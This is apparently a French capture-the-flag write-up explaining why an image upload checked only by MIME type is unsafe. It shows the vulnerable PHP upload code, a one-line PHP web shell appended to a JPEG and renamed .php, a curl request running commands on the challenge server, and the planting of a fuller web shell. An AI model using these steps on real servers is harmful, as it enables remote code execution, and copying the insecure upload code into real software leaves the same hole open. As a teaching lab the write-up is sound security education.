Pourquoi faut-il ajouter plusieurs vérifications avant d’upload d’une image ?
Pour pouvoir upload une image sur un groupe, la seule vérification effectuée était celle du type MIME du fichier. Si celui-ci correspondait à une image, alors on pouvait passer la vérification et uploader notre fichier, avec l’extension que l’on voulait.
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['image']['tmp_name']);
finfo_close($finfo);
if (!in_array($mime, ['image/png', 'image/jpeg'])) {
die("Only PNG or JPEG allowed");
}
$ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
$imageName = uniqid() . "." . $ext;
move_uploaded_file($_FILES['image']['tmp_name'], $UPLOAD_DIR . $imageName);
}
Comment bypass le MIMEÂ ?
Si vous avez suivis, le MIME vérifie une partie du contenu de l’image et dit « Ok c’est du binaire JPEG, je laisse passer ». A partir de là , on se dit que l’on va cacher du code PHP dans une image.
1er étape : On télécharge une image
2eme étapes : On insère le code à la suite de l’image
On commence par un code simple, voir si le serveur web va exécuter notre fichier :
echo '<?php system($_GET["cmd"]); ?>' >> cat.jpeg
Puis renommer votre image en .php, car le serveur web doit l’interpréter comme du php, pas du jpeg.
 On voit bien dans la requête que le contenu est une image mais celle-ci est bien envoyé en tant que php

Avec une requête du type : curl https://dev.k.ctf.arrobe.fr/uploads/6967f336a2ede.php?cmd=ls | strings depuis le terminal on a ce résultat

Maintenant qu’on a vu que l’on pouvait faire une RCE, on va allez installer un shell bien plus qualitatif.
On fait les mêmes étapes :
On concatène l’image et le shell php dans un nouveau fichier
cat cat2.jpeg P0wnyShell.php > miaou.php
Puis on upload l’image
Ensuite on se connecte depuis un navigateur, et voila :
